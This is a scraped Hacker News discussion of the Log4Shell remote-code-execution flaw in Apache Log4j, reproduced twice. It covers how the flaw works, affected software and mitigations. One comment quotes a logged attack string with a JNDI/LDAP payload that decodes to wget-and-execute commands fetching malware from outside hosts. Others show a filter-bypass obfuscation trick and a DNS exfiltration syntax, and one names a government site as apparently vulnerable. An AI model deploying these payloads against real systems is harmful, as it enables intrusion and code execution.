14 ms·

Widespread exploitation of critical remote code execution in Apache Log4j

197 points by ColinWright 5y ago

detaro 5y ago
large thread yesterday: https://news.ycombinator.com/item?id=29504755 https://news.ycombinator.com/item?id=29504755
john37386 5y ago
Was the vuln known since March 2021?
- trenchgun 5y ago
  You are talking about this? https://github.com/nice0e3/log4j_POC https://github.com/nice0e3/log4j_POC No. That was another vulnerability which was for an older version of log4j, end of life 2015. https://www.cvedetails.com/cve/CVE-2019-17571/ https://www.cvedetails.com/cve/CVE-2019-17571/
InfiniteRand 5y ago
But if you are not using any of the jni special Uris in strings, is there any real danger here?
- detaro 5y ago
  Are you ever logging strings that come from outside your software, be it things users type in, HTTP headers, ...? Then you don't control if you are "using any of the jni special Uris".
  - notinty 5y ago
    This kind of (mis)feature should only be available in the format string, which shouldn't have untrusted user input.
    - detaro 5y ago
      It also "should" only be active if enabled, "should" only be available against explicitly declared target, ... but it isn't.
      - deleted 5y ago
        [deleted]
    - jefftk 5y ago
      This vulnerability is equivalent using printf(userData) when you should have done printf("%s", userData). From the perspective of the library developer, the feature is only available in the format string.
      - detaro 5y ago
        Are you sure? Several people here said yesterday that they confirmed it also works when supplied in a parameter. https://news.ycombinator.com/item?id=29513036 https://news.ycombinator.com/item?id=29513036 https://news.ycombinator.com/item?id=29507511 https://news.ycombinator.com/item?id=29507511
        jefftk 5y ago
        Sorry, yes, it's a bug inside log4j, and it's handled even in a parameter. But the underlying bug is because log4j uses the equivalent of printf(userData).
        unscaled 5y ago
        The log4j maintainers seem to have realized that this (the "%m" in a PatternLayout doing lookups) is a bad idea around version 2.10 (released in 2017) or even version 2.7[2] (released in 2016). These versions both included changes that allowed you to disable this behavior. Unfortunately, the Java compatibility mindset meant that they didn't take the further logical step of making the behavior that disables lookups the default. I think this vulnerability should be used as a lesson against the vagaries of the classic Java API design issues that we're now finally starting to turn away from. Having an extensible formatting mechanism is not necessary a bad idea, but the problem with this and so many other "magic" features provided by Java libraries is that they are: * Opt out, instead of opt-in * Hard to discover - if you don't read the ENTIRE log4j documentation (which is pretty large!), it's hard know that this stuff is happening. * Too inclusive - adding JNDI was a bad idea, but even allowing things like environment variables or JMX Beans to be looked-up wholesale from a non-sanitized message is a bad idea. The problem is much deeper than log4j really. In hindsight, features like JNDI, RMI, and most of all Java Serialization should have never been part of Java in the first place. [1] LOG4J2-2109: https://issues.apache.org/jira/browse/LOG4J2-2109 https://issues.apache.org/jira/browse/LOG4J2-2109 [2] LOG4J2-905: https://issues.apache.org/jira/browse/LOG4J2-905 https://issues.apache.org/jira/browse/LOG4J2-905
- notinty 5y ago
  It's absurd but they are parsed from parameters as well. Both Minecraft servers and clients are vulnerable to chat messages with them.
  - fortran77 5y ago
    It's time for Microsoft to get Minecraft off of Java!
- jbourne 5y ago
  Yes this is still possible if you log any user-modifiable value. One example would be logging out a user agent header - if an attacker spoofs this to include a JDNI URI then the vulnerability can be exploited. This is why this CVE is so scary - I would imagine the majority of applications using log4j will log out a user-supplied value at some point.
  - bostik 5y ago
    How about feeding the magic string via Host header in your requests and then cutting off? You wouldn't even need to establish the full TLS handshake, SNI is sent in the clear, and you would get to hit every single load-balancer and middle box - and everything they send their logs to. Oh, and WAF rules won't protect you either: https://twitter.com/Rezn0k/status/1469523006015750146 https://twitter.com/Rezn0k/status/1469523006015750146
- iso1631 5y ago
  If you're logging requests you're in trouble. Here's one from my apache log file 45.137.21.9 - - [11/Dec/2021:02:31:17 +0000] "POST / HTTP/1.1" 301 554 "-" "${jndi:ldap://45.137.21.9:1389/Basic/Command/Base64/d2dldCBodHRwOi8vNjIuMjEwLjEzMC4yNTAvbGguc2g7Y2htb2QgK3ggbGguc2g7Li9saC5zaA==}" If that were processed with log4J I believe it would decode it, connect to 45.137.21.9 po port 1389, then somehow execute wget http://62.210.130.250/lh.sh;chmod +x lh.sh;./lh.sh Which itself downloads wget http://62.210.130.250/web/admin/x86;chmod +x x86;./x86 x86; wget http://62.210.130.250/web/admin/x86_g;chmod +x x86_g;./x86_g x86_g; wget http://62.210.130.250/web/admin/x86_64;chmod +x x86_64;./x86_g x86_64; However as I don't have log4j on the outside it's fine (it gets redirected to https, and then asked for an x509 certificate, which it doesn't provide, so gets dropped) Minecraft logs every message from other players it receives, so all you have to do is type a message and everyone on the server is exploited.
  - taeric 5y ago
    I think it depends how you log the request. If you did Logger.debug(request) Vulnerable If you did Logger.debug("{}", request) Safe? Reminds me of early days where sending printf directives to friends in chat applications could cause a crash. Edit: I see some other comments are indicating parameters are also vulnerable. Crazy.
  - altdataseller 5y ago
    And if you have a web crawler that just crawled this post and logs the contents using log4j, you are likely to be exploited too. facepalm
- mumblemumble 5y ago
  If you log any sort of input from outside, then attackers get to supply their own URLs. This will trigger even if you're doing it yourself because log4j also keeps recursively expanding macros in the log string until no more are found. So parameterizing your log statements isn't a defense against this the way parameterizing your SQL statements would be for SQL injection.
  - IiydAbITMvJkqKf 5y ago
    >log4j also keeps recursively expanding macros in the log string until no more are found this is insane behaviour
breakingsystems 5y ago
> proof-of-concept (PoC) code has evidently been available since March of 2021 This Github repo was for an older vulnerability[1] (CVE-2019-17571). > monitor web application logs for evidence of attempts to execute methods from remote codebases (i.e. looking for jndi:ldap strings) As the templates are interpreted recursively, the payload can easily be obfuscated, e.g. using "${${lower:j}${lower:n}..."[2]. I saw e.g. binaryedge's scanner already use that trick. [1] https://www.cnblogs.com/nice0e3/p/14531327.html https://www.cnblogs.com/nice0e3/p/14531327.html [2] https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce#bypass-waf https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j...
- iso1631 5y ago
  I've seen a couple dozen attempts with "jndi", but nothing matching "j.n.d.*i". Very few attacks though - I remember the height of the Code Red days, I was seeing orders of magnitude more attempts.
anonymousDan 5y ago
Can anyone ELI5 how the exploit works?
- detaro 5y ago
  the library parses logged messages for commands, which include a command which can be used for "connect to this server, download code from there, run it". To exploit it, put such a command into any place the app will write to log.
  - layer8 5y ago
    Actually, the command is "download this serialized Java object", and the server serving the object can add "by the way, you will need these classes for deserializing the object", and the client "ok, I’ll download those as well then", and upon deserializing the object, code from the downloaded classes is run (the actual RCE) in order to initialize the class and deserialize the instance.
- kadoban 5y ago
  A specially formatted log entry can cause the logging library to fetch and run remote code. So if you're printing something a user provides into your logs, you're decently likely to be screwed.
  - x0x0 5y ago
    More amazingly, this is intentional. If you didn't want log4j to trivially exec remote code, you were expected to add a properties file telling it not to.
    - hn_throwaway_99 5y ago
      This part is really beyond baffling to me. I could understand pre-configured format strings being allowed to do some crazy shit, but I can't for the life of me understand why log4j would opt to allow any logged string to be given access to a powerful lookup/configuration language, even beyond the specific JNDI issue at hand.
Scoundreller 5y ago
Another eli5 request: as a home user or a mobile phone user, do I have anything to worry about? Is there some kind of query/search I can do on my own computer to see if any application has integrated log4j?
- markbnj 5y ago
  I'm not a security expert. I spent a good chunk of time yesterday mitigating this with our security people so I have a decent overview of the bug and how it's exploited. If you aren't running an application on your home server or phone that others can connect to from outside your network then this isn't likely an issue for you. Take this as inexpert guidance until someone more authoritative chimes in. The vector of vulnerability here is user content getting into log messages, as can happen if you log headers from user connections for example.
  - cesarb 5y ago
    > If you aren't running an application on your home server or phone that others can connect to from outside your network then this isn't likely an issue for you. The direction of the connection isn't relevant. For instance, when you are playing Minecraft and connect to a server, the connection starts from inside your network, but could be used to attack your Minecraft client.
  - VectorLock 5y ago
    >others can connect to from outside your network Doesn't exactly cover it. Strings, uh, find a way.
  - reginaldo 5y ago
    Actually, the surface of attack is larger. It is: the machine receives strings from a service that's been connected to the internet somehow and the machine itself server can connect to the internet. A non-obvious example would be logs/data that will be processed by Solr.
- rst 5y ago
  It's been widely reported that iCloud is exploitable (by setting your phone's name to something that includes the "${jndi:ldap://...}" incantation), so if you're using an iPhone, cloud services you use may have been compromised. Haven't seen an assessment yet of exactly what's at risk from that. Also haven't seen much about Android apps using log4j -- depending on how (and whether) Android's nonstandard library handles JNDI, this may be mitigated, but stay tuned. As to home PCs -- if you're running anything written in Java which logs strings under somebody else's control (email subject lines, to cite one potentially plausible example), well... they might be able to run code on your box.
mrweasel 5y ago
We just spend the better part of the day going through applications and figuring out if they use log4j, if so which version, fixed code, notifying customers. Then we remembered that the majority of our servers can't actually reach the internet. They only accept requests, they cannot make outbound requests to the internet. I know it a little old fashion, as explained to me by a customer earlier this year. In the age of cloud, people expect their servers to have a direct internet connection. It's annoying to work with, but ideally your devices should only be able to reach the internet via a proxy and/or only whitelisted hosts. Understandably there are cases where this just isn't an option, but really do consider if your server truly needs to communicate with the internet at large. Can you use an HTTPS proxy, and just whitelists the required domains? The answer is most often "Yes", it's just a little more work.
- raxxorrax 5y ago
  > I know it a little old fashion, as explained to me by a customer earlier this year. It is only outdated by proponents of cloud services since IP based filters are difficult to implement and/or require high maintenance. Otherwise sensible network segmentation and access rules are pretty much one of the best security mechanisms you can implement, far beyond the usual theatre some security products want to sell.
- jameshart 5y ago
  Is there any chance that when asked to contact a service, your locked down machines first issue a DNS lookup to determine where to try to connect to, before the connection attempt gets blocked by your aggressive whitelisting? If so, there might still be a DNS exfiltration vulnerability even on your tightly controlled setup.
  - mrweasel 5y ago
    That is a good point. Staying safe is insanely difficult.
  - bostik 5y ago
    Yes, that's already been established as an exfiltration vector: https://www.fastly.com/blog/digging-deeper-into-log4shell-0day-rce-exploit-found-in-log4j https://www.fastly.com/blog/digging-deeper-into-log4shell-0d... - note the ${jdni:dns:...} syntax bit in the middle. Combined with the WAF bypasses due to recursive expansion, this is going to get worse still.
davemp 5y ago
This also affects Minecraft servers afaik. There is probably a huge amount of internet exposed resources running vulnerable versions that are unlikely to be patched.
- abracadaniel 5y ago
  Minecraft is specifically one of the most vulnerable because the chat is written to the server log. So, all it takes is a chat message to run the exploit.
  - 63 5y ago
    Worse yet, you don't even need to be whitelisted for the server to log an attempted chat message.
creichenbach 5y ago
Meta: This website has one of the worst and most ridiculous cookie opt-out mechanisms. You are expected to read through a wall of text and follow complex instructions to manually opt-out of each vendor.
- deleted 5y ago
  [deleted]
aorth 5y ago
> According to a translated technical blog post , JDK versions greater than 6u211, 7u201, 8u191, and 11.0.1 are not affected by the LDAP attack vector. com.sun.jndi.ldap.object.trustURLCodebase is set to false, meaning JNDI cannot load a remote codebase using LDAP. As for JDK 8, numerous outlets are reporting that it is actually Java 8u121 that protects against JNDI remote class loading by default (see release notes https://www.oracle.com/java/technologies/javase/8u121-relnotes.html https://www.oracle.com/java/technologies/javase/8u121-relnot...). That was released in 2017-01, which was just about five years ago. I think that should save a lot of peoples' bacon, should it not? Java 8u191 fixed something about an LDAPS timeout in JDNI lookups: https://www.oracle.com/java/technologies/javase/8u191-relnotes.html https://www.oracle.com/java/technologies/javase/8u191-relnot...
- jmuhlich 5y ago
  This post claims the history of which releases closed which holes is a bit more complicated and that 8u191 really is the first release to prevent this particular exploit. However it also points out that it’s still possible to achieve RCE via log4j template expansion in certain Tomcat and Websphere configurations: https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/ https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Inj...
- jeffbee 5y ago
  The remote class loading is the most severe part of this but even without that this vulnerability still does things like leak environment variables to arbitrary remote endpoints.
jeffbee 5y ago
The fact that Java can download, parse, and load code is the original sin of the runtime. It never made sense and the classloader has been exploitable from Day 1. They need to rip out the whole concept, and RMI needs to be eradicated as well.
sabujp 5y ago
what a way to start the weekend
sabujp 5y ago
RIP jenkins installs everywhere :( : https://www.jenkins.io/blog/2021/12/10/log4j2-rce-CVE-2021-44228/ https://www.jenkins.io/blog/2021/12/10/log4j2-rce-CVE-2021-4...
- cure 5y ago
  Not really? Your link shows that the log4j is not used in core Jenkins. Moreover, they provided a nice test to see, on a particular installation, if any plugins are affected. Judging by the provided link to their issue tracker (https://issues.jenkins.io/browse/JENKINS-67361?jql=labels%20%3D%20CVE-2021-44228 https://issues.jenkins.io/browse/JENKINS-67361?jql=labels%20...), there only seem to be a handful of plugins affected, and none appear to be super widely used. They are responding really well to this, by the way. That blog post is clear and useful information is being added. Kudos to the Jenkins team!
- therealdrag0 5y ago
  What could the attack be there? Aren’t Jenkins usually private for employees use?
  - mwarkentin 5y ago
    Privilege escalation for a malicious employee I suppose. Also I believe there are public Jenkins instances used for OS projects, etc. aren't there?
  - hn_throwaway_99 5y ago
    I agree with this, I think Jenkins as an attack vector is likely to be low. It's very possible, for example, to pull in a malicious dependency that then output a message that was logged and took advantage of this vulnerability. But, at that point, if you've already pulled in a malicious dependency you're probably already screwed by an easier method than this log4j issue.
- ykonstant 5y ago
  Seems they did a Leeroy on the Jenkins.
VLM 5y ago
Big picture being missed, there's a societal argument for decades over once you log something you're responsible for it and who owns the logs of what you do and the profit generated by Big Brother, etc. So right to be forgotten, all kinds of tracking laws depending on a mix of who owns the device vs where its geographically located today, and now if you log stuff like user agent strings, someone can send you a very toxic string that causes enormous problems. The very short term solution is to fix big brother so he can go back to safely watching our every move, the longer term question is how many security problems are you willing to have in order to extensively and permanently track and log people? There is also an interesting "tree falls in the forest" effect where if you know there will be no professional sysadmin support to debug or fix or work on your minecraft server, why are you making logs, if logging can be exploited just like anything else can be exploited? I worked with a guy in the early internet days whom wanted an old fashioned page every time an exploit came in from China; I asked what is actionable about that, other than they can DDOS his pager and he can't call in an airstrike on them? He disabled his pager notifications, they were of negative net value. We are nearing that point for extensive logging. Its very hard to use a log exploit on software that doesn't log. So why are so many things logged, that shouldn't be logged because its inconceivable that a pro would ever access the logs or its inherently bad to log that kind of PII for ethical reasons? User data is historically seen as always the purest of gold nuggets to be hoarded and traded for valuables; reality is sometimes user data is plague blankets and you don't want them. May be nearing a point where "log everything" has a negative value. Software only increases in complexity over time; complexity means more security problems; at some point "log everything" has too many downsides and not enough upsides. The world's only going to have more "little bobby tables", not fewer. Certainly the long term solution to millions of minecraft servers logging dangerous packets is to not log at all. There's not a downside.
- planb 5y ago
  This kind of logging in not used for tracking. It's used for finding out why stuff went wrong. So your rant seems a bit out of place here.
marwis 5y ago
Can someone clarify if this template expansion happens only in format string or in the substituted string as well. I.e. is it affecting just code like this: log.info("foo: " + untrusted) Or also: log.info("foo: {}", untrusted) ?
- gpm 5y ago
  Both
planb 5y ago
I've not seen much speculation on how this bug was created in the first place, so I'll take a guess here: On https://logging.apache.org/log4j/2.x/manual/lookups.html https://logging.apache.org/log4j/2.x/manual/lookups.html it says: "Lookups provide a way to add values to the Log4j configuration at arbitrary places." I think, the person/team that implemented the Lookup feature never indented it to be used outside of the configuration files, which are clearly part of the codebase and therefore trusted. I can fully understand why this is seen as a useful feature. Then someone else came, saw that there's a useful feature that allows to automatically extend stuff like the request URL in a log message, and embedded that in the log message parser. I don't think this should ever have been implemented, and surely not enabled by default. Even if there was no LDAP remote code execution (ok, we can blame Java for this) or JNDI lookups (which can leak data to the outside), this lets user provided input be used as a query to all the stuff that can be inserted by Lookups (environment vars, request headers, JVM arguments, ...) For example, someone who just has access to the logs can use this to query secrets stored in the environment of the app.
ajaxsurfer 5y ago
Hopefully nobody hits these state medicaid sites or at least they just take them down until they're fixed. Louisiana for example looks vulnerable in at least 6 places. https://sspweb.lameds.ldh.la.gov/selfservice/selfserviceController?id=0.9591715993003399&tab=1 https://sspweb.lameds.ldh.la.gov/selfservice/selfserviceCont...

197 points by ColinWright 5y ago

detaro 5y ago

large thread yesterday: https://news.ycombinator.com/item?id=29504755 https://news.ycombinator.com/item?id=29504755

john37386 5y ago

Was the vuln known since March 2021?

trenchgun 5y ago
You are talking about this? https://github.com/nice0e3/log4j_POC https://github.com/nice0e3/log4j_POC No. That was another vulnerability which was for an older version of log4j, end of life 2015. https://www.cvedetails.com/cve/CVE-2019-17571/ https://www.cvedetails.com/cve/CVE-2019-17571/

InfiniteRand 5y ago

But if you are not using any of the jni special Uris in strings, is there any real danger here?

detaro 5y ago
Are you ever logging strings that come from outside your software, be it things users type in, HTTP headers, ...? Then you don't control if you are "using any of the jni special Uris".
- notinty 5y ago
  This kind of (mis)feature should only be available in the format string, which shouldn't have untrusted user input.
  - detaro 5y ago
    It also "should" only be active if enabled, "should" only be available against explicitly declared target, ... but it isn't.
    - deleted 5y ago
      [deleted]
  - jefftk 5y ago
    This vulnerability is equivalent using printf(userData) when you should have done printf("%s", userData). From the perspective of the library developer, the feature is only available in the format string.
    - detaro 5y ago
      Are you sure? Several people here said yesterday that they confirmed it also works when supplied in a parameter. https://news.ycombinator.com/item?id=29513036 https://news.ycombinator.com/item?id=29513036 https://news.ycombinator.com/item?id=29507511 https://news.ycombinator.com/item?id=29507511
      - jefftk 5y ago
        Sorry, yes, it's a bug inside log4j, and it's handled even in a parameter. But the underlying bug is because log4j uses the equivalent of printf(userData).
        unscaled 5y ago
        The log4j maintainers seem to have realized that this (the "%m" in a PatternLayout doing lookups) is a bad idea around version 2.10 (released in 2017) or even version 2.7[2] (released in 2016). These versions both included changes that allowed you to disable this behavior. Unfortunately, the Java compatibility mindset meant that they didn't take the further logical step of making the behavior that disables lookups the default. I think this vulnerability should be used as a lesson against the vagaries of the classic Java API design issues that we're now finally starting to turn away from. Having an extensible formatting mechanism is not necessary a bad idea, but the problem with this and so many other "magic" features provided by Java libraries is that they are: * Opt out, instead of opt-in * Hard to discover - if you don't read the ENTIRE log4j documentation (which is pretty large!), it's hard know that this stuff is happening. * Too inclusive - adding JNDI was a bad idea, but even allowing things like environment variables or JMX Beans to be looked-up wholesale from a non-sanitized message is a bad idea. The problem is much deeper than log4j really. In hindsight, features like JNDI, RMI, and most of all Java Serialization should have never been part of Java in the first place. [1] LOG4J2-2109: https://issues.apache.org/jira/browse/LOG4J2-2109 https://issues.apache.org/jira/browse/LOG4J2-2109 [2] LOG4J2-905: https://issues.apache.org/jira/browse/LOG4J2-905 https://issues.apache.org/jira/browse/LOG4J2-905
notinty 5y ago
It's absurd but they are parsed from parameters as well. Both Minecraft servers and clients are vulnerable to chat messages with them.
- fortran77 5y ago
  It's time for Microsoft to get Minecraft off of Java!
jbourne 5y ago
Yes this is still possible if you log any user-modifiable value. One example would be logging out a user agent header - if an attacker spoofs this to include a JDNI URI then the vulnerability can be exploited. This is why this CVE is so scary - I would imagine the majority of applications using log4j will log out a user-supplied value at some point.
- bostik 5y ago
  How about feeding the magic string via Host header in your requests and then cutting off? You wouldn't even need to establish the full TLS handshake, SNI is sent in the clear, and you would get to hit every single load-balancer and middle box - and everything they send their logs to. Oh, and WAF rules won't protect you either: https://twitter.com/Rezn0k/status/1469523006015750146 https://twitter.com/Rezn0k/status/1469523006015750146
iso1631 5y ago
If you're logging requests you're in trouble. Here's one from my apache log file 45.137.21.9 - - [11/Dec/2021:02:31:17 +0000] "POST / HTTP/1.1" 301 554 "-" "${jndi:ldap://45.137.21.9:1389/Basic/Command/Base64/d2dldCBodHRwOi8vNjIuMjEwLjEzMC4yNTAvbGguc2g7Y2htb2QgK3ggbGguc2g7Li9saC5zaA==}" If that were processed with log4J I believe it would decode it, connect to 45.137.21.9 po port 1389, then somehow execute wget http://62.210.130.250/lh.sh;chmod +x lh.sh;./lh.sh Which itself downloads wget http://62.210.130.250/web/admin/x86;chmod +x x86;./x86 x86; wget http://62.210.130.250/web/admin/x86_g;chmod +x x86_g;./x86_g x86_g; wget http://62.210.130.250/web/admin/x86_64;chmod +x x86_64;./x86_g x86_64; However as I don't have log4j on the outside it's fine (it gets redirected to https, and then asked for an x509 certificate, which it doesn't provide, so gets dropped) Minecraft logs every message from other players it receives, so all you have to do is type a message and everyone on the server is exploited.
- taeric 5y ago
  I think it depends how you log the request. If you did Logger.debug(request) Vulnerable If you did Logger.debug("{}", request) Safe? Reminds me of early days where sending printf directives to friends in chat applications could cause a crash. Edit: I see some other comments are indicating parameters are also vulnerable. Crazy.
- altdataseller 5y ago
  And if you have a web crawler that just crawled this post and logs the contents using log4j, you are likely to be exploited too. facepalm
mumblemumble 5y ago
If you log any sort of input from outside, then attackers get to supply their own URLs. This will trigger even if you're doing it yourself because log4j also keeps recursively expanding macros in the log string until no more are found. So parameterizing your log statements isn't a defense against this the way parameterizing your SQL statements would be for SQL injection.
- IiydAbITMvJkqKf 5y ago
  >log4j also keeps recursively expanding macros in the log string until no more are found this is insane behaviour

breakingsystems 5y ago

> proof-of-concept (PoC) code has evidently been available since March of 2021 This Github repo was for an older vulnerability[1] (CVE-2019-17571). > monitor web application logs for evidence of attempts to execute methods from remote codebases (i.e. looking for jndi:ldap strings) As the templates are interpreted recursively, the payload can easily be obfuscated, e.g. using "${${lower:j}${lower:n}..."[2]. I saw e.g. binaryedge's scanner already use that trick. [1] https://www.cnblogs.com/nice0e3/p/14531327.html https://www.cnblogs.com/nice0e3/p/14531327.html [2] https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce#bypass-waf https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j...

iso1631 5y ago
I've seen a couple dozen attempts with "jndi", but nothing matching "j.n.d.*i". Very few attacks though - I remember the height of the Code Red days, I was seeing orders of magnitude more attempts.

anonymousDan 5y ago

Can anyone ELI5 how the exploit works?

detaro 5y ago
the library parses logged messages for commands, which include a command which can be used for "connect to this server, download code from there, run it". To exploit it, put such a command into any place the app will write to log.
- layer8 5y ago
  Actually, the command is "download this serialized Java object", and the server serving the object can add "by the way, you will need these classes for deserializing the object", and the client "ok, I’ll download those as well then", and upon deserializing the object, code from the downloaded classes is run (the actual RCE) in order to initialize the class and deserialize the instance.
kadoban 5y ago
A specially formatted log entry can cause the logging library to fetch and run remote code. So if you're printing something a user provides into your logs, you're decently likely to be screwed.
- x0x0 5y ago
  More amazingly, this is intentional. If you didn't want log4j to trivially exec remote code, you were expected to add a properties file telling it not to.
  - hn_throwaway_99 5y ago
    This part is really beyond baffling to me. I could understand pre-configured format strings being allowed to do some crazy shit, but I can't for the life of me understand why log4j would opt to allow any logged string to be given access to a powerful lookup/configuration language, even beyond the specific JNDI issue at hand.

Scoundreller 5y ago

Another eli5 request: as a home user or a mobile phone user, do I have anything to worry about? Is there some kind of query/search I can do on my own computer to see if any application has integrated log4j?

markbnj 5y ago
I'm not a security expert. I spent a good chunk of time yesterday mitigating this with our security people so I have a decent overview of the bug and how it's exploited. If you aren't running an application on your home server or phone that others can connect to from outside your network then this isn't likely an issue for you. Take this as inexpert guidance until someone more authoritative chimes in. The vector of vulnerability here is user content getting into log messages, as can happen if you log headers from user connections for example.
- cesarb 5y ago
  > If you aren't running an application on your home server or phone that others can connect to from outside your network then this isn't likely an issue for you. The direction of the connection isn't relevant. For instance, when you are playing Minecraft and connect to a server, the connection starts from inside your network, but could be used to attack your Minecraft client.
- VectorLock 5y ago
  >others can connect to from outside your network Doesn't exactly cover it. Strings, uh, find a way.
- reginaldo 5y ago
  Actually, the surface of attack is larger. It is: the machine receives strings from a service that's been connected to the internet somehow and the machine itself server can connect to the internet. A non-obvious example would be logs/data that will be processed by Solr.
rst 5y ago
It's been widely reported that iCloud is exploitable (by setting your phone's name to something that includes the "${jndi:ldap://...}" incantation), so if you're using an iPhone, cloud services you use may have been compromised. Haven't seen an assessment yet of exactly what's at risk from that. Also haven't seen much about Android apps using log4j -- depending on how (and whether) Android's nonstandard library handles JNDI, this may be mitigated, but stay tuned. As to home PCs -- if you're running anything written in Java which logs strings under somebody else's control (email subject lines, to cite one potentially plausible example), well... they might be able to run code on your box.

mrweasel 5y ago

We just spend the better part of the day going through applications and figuring out if they use log4j, if so which version, fixed code, notifying customers. Then we remembered that the majority of our servers can't actually reach the internet. They only accept requests, they cannot make outbound requests to the internet. I know it a little old fashion, as explained to me by a customer earlier this year. In the age of cloud, people expect their servers to have a direct internet connection. It's annoying to work with, but ideally your devices should only be able to reach the internet via a proxy and/or only whitelisted hosts. Understandably there are cases where this just isn't an option, but really do consider if your server truly needs to communicate with the internet at large. Can you use an HTTPS proxy, and just whitelists the required domains? The answer is most often "Yes", it's just a little more work.

raxxorrax 5y ago
> I know it a little old fashion, as explained to me by a customer earlier this year. It is only outdated by proponents of cloud services since IP based filters are difficult to implement and/or require high maintenance. Otherwise sensible network segmentation and access rules are pretty much one of the best security mechanisms you can implement, far beyond the usual theatre some security products want to sell.
jameshart 5y ago
Is there any chance that when asked to contact a service, your locked down machines first issue a DNS lookup to determine where to try to connect to, before the connection attempt gets blocked by your aggressive whitelisting? If so, there might still be a DNS exfiltration vulnerability even on your tightly controlled setup.
- mrweasel 5y ago
  That is a good point. Staying safe is insanely difficult.
- bostik 5y ago
  Yes, that's already been established as an exfiltration vector: https://www.fastly.com/blog/digging-deeper-into-log4shell-0day-rce-exploit-found-in-log4j https://www.fastly.com/blog/digging-deeper-into-log4shell-0d... - note the ${jdni:dns:...} syntax bit in the middle. Combined with the WAF bypasses due to recursive expansion, this is going to get worse still.

davemp 5y ago

This also affects Minecraft servers afaik. There is probably a huge amount of internet exposed resources running vulnerable versions that are unlikely to be patched.

abracadaniel 5y ago
Minecraft is specifically one of the most vulnerable because the chat is written to the server log. So, all it takes is a chat message to run the exploit.
- 63 5y ago
  Worse yet, you don't even need to be whitelisted for the server to log an attempted chat message.

creichenbach 5y ago

Meta: This website has one of the worst and most ridiculous cookie opt-out mechanisms. You are expected to read through a wall of text and follow complex instructions to manually opt-out of each vendor.

deleted 5y ago
[deleted]

aorth 5y ago

> According to a translated technical blog post , JDK versions greater than 6u211, 7u201, 8u191, and 11.0.1 are not affected by the LDAP attack vector. com.sun.jndi.ldap.object.trustURLCodebase is set to false, meaning JNDI cannot load a remote codebase using LDAP. As for JDK 8, numerous outlets are reporting that it is actually Java 8u121 that protects against JNDI remote class loading by default (see release notes https://www.oracle.com/java/technologies/javase/8u121-relnotes.html https://www.oracle.com/java/technologies/javase/8u121-relnot...). That was released in 2017-01, which was just about five years ago. I think that should save a lot of peoples' bacon, should it not? Java 8u191 fixed something about an LDAPS timeout in JDNI lookups: https://www.oracle.com/java/technologies/javase/8u191-relnotes.html https://www.oracle.com/java/technologies/javase/8u191-relnot...

jmuhlich 5y ago
This post claims the history of which releases closed which holes is a bit more complicated and that 8u191 really is the first release to prevent this particular exploit. However it also points out that it’s still possible to achieve RCE via log4j template expansion in certain Tomcat and Websphere configurations: https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/ https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Inj...
jeffbee 5y ago
The remote class loading is the most severe part of this but even without that this vulnerability still does things like leak environment variables to arbitrary remote endpoints.

jeffbee 5y ago

The fact that Java can download, parse, and load code is the original sin of the runtime. It never made sense and the classloader has been exploitable from Day 1. They need to rip out the whole concept, and RMI needs to be eradicated as well.

sabujp 5y ago

what a way to start the weekend

sabujp 5y ago

RIP jenkins installs everywhere :( : https://www.jenkins.io/blog/2021/12/10/log4j2-rce-CVE-2021-44228/ https://www.jenkins.io/blog/2021/12/10/log4j2-rce-CVE-2021-4...

cure 5y ago
Not really? Your link shows that the log4j is not used in core Jenkins. Moreover, they provided a nice test to see, on a particular installation, if any plugins are affected. Judging by the provided link to their issue tracker (https://issues.jenkins.io/browse/JENKINS-67361?jql=labels%20%3D%20CVE-2021-44228 https://issues.jenkins.io/browse/JENKINS-67361?jql=labels%20...), there only seem to be a handful of plugins affected, and none appear to be super widely used. They are responding really well to this, by the way. That blog post is clear and useful information is being added. Kudos to the Jenkins team!
therealdrag0 5y ago
What could the attack be there? Aren’t Jenkins usually private for employees use?
- mwarkentin 5y ago
  Privilege escalation for a malicious employee I suppose. Also I believe there are public Jenkins instances used for OS projects, etc. aren't there?
- hn_throwaway_99 5y ago
  I agree with this, I think Jenkins as an attack vector is likely to be low. It's very possible, for example, to pull in a malicious dependency that then output a message that was logged and took advantage of this vulnerability. But, at that point, if you've already pulled in a malicious dependency you're probably already screwed by an easier method than this log4j issue.
ykonstant 5y ago
Seems they did a Leeroy on the Jenkins.

VLM 5y ago

Big picture being missed, there's a societal argument for decades over once you log something you're responsible for it and who owns the logs of what you do and the profit generated by Big Brother, etc. So right to be forgotten, all kinds of tracking laws depending on a mix of who owns the device vs where its geographically located today, and now if you log stuff like user agent strings, someone can send you a very toxic string that causes enormous problems. The very short term solution is to fix big brother so he can go back to safely watching our every move, the longer term question is how many security problems are you willing to have in order to extensively and permanently track and log people? There is also an interesting "tree falls in the forest" effect where if you know there will be no professional sysadmin support to debug or fix or work on your minecraft server, why are you making logs, if logging can be exploited just like anything else can be exploited? I worked with a guy in the early internet days whom wanted an old fashioned page every time an exploit came in from China; I asked what is actionable about that, other than they can DDOS his pager and he can't call in an airstrike on them? He disabled his pager notifications, they were of negative net value. We are nearing that point for extensive logging. Its very hard to use a log exploit on software that doesn't log. So why are so many things logged, that shouldn't be logged because its inconceivable that a pro would ever access the logs or its inherently bad to log that kind of PII for ethical reasons? User data is historically seen as always the purest of gold nuggets to be hoarded and traded for valuables; reality is sometimes user data is plague blankets and you don't want them. May be nearing a point where "log everything" has a negative value. Software only increases in complexity over time; complexity means more security problems; at some point "log everything" has too many downsides and not enough upsides. The world's only going to have more "little bobby tables", not fewer. Certainly the long term solution to millions of minecraft servers logging dangerous packets is to not log at all. There's not a downside.

planb 5y ago
This kind of logging in not used for tracking. It's used for finding out why stuff went wrong. So your rant seems a bit out of place here.

marwis 5y ago

Can someone clarify if this template expansion happens only in format string or in the substituted string as well. I.e. is it affecting just code like this: log.info("foo: " + untrusted) Or also: log.info("foo: {}", untrusted) ?

gpm 5y ago
Both

planb 5y ago

